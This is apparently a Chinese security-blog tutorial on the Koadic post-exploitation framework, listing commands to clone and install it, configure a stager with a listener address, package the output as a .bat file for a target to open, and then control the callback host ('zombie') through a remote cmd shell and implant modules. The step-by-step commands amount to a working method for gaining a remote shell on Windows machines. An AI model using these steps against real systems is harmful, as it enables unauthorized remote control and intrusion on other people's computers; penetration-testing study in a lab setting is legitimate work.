windows提权辅助工具koadic

释放双眼,带上耳机,听听看~!
项目地址:https://github.com/zerosum0x0/koadic┌─

项目地址:https://github.com/zerosum0x0/koadic

┌─[root@kali]─[/kali]
└──╼ #git clone https://github.com/zerosum0x0/koadic

下载后打开并安装所需的包

┌─[root@kali]─[/kali/koadic]
└──╼ #pip install -r requirements.txt

安装完成后启动程序

┌─[root@kali]─[/kali/koadic]
└──╼ #./koadic

查看模块

stager开头的模块是用来反弹主机的,implant开头的模块是用来对反弹的主机进行操作
选择stager/js/disk进行测试

(koadic: sta/js/mshta)# use stager/js/disk

查看配置信息

(koadic: sta/js/disk)# info

设置lhost

(koadic: sta/js/disk)# set LHOST 192.168.220.132


然后run

(koadic: sta/js/disk)# run


然后把[>]后的东西写到一个bat文件里,放到目标主机打开
得到目标主机的反弹

查看僵尸主机列表

(koadic: sta/js/disk)# zombies

注:此目标主机的ID为0
执行cmd命令,0为主机的ID

(koadic: sta/js/disk)# cmdshell 0

 

[koadic: ZOMBIE 0 (192.168.220.129) – cmd.exe]> whoami

implant模块

(koadic: sta/js/disk)# use implant/fun/voice

这个MESSAGE随便你设置,然后run

将会在目标主机朗读MESSAGE的内容
implant各个模块的用处可在git项目地址里查看

给TA买糖
共{{data.count}}人
人已赞赏
安全工具

渗透测试神器BurpSuite Professional v 1.7.26发布(附下载)

2017-9-12 12:44:15

安全工具

【kali Linux】信息收集-枚举工具

2017-11-27 11:09:27

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索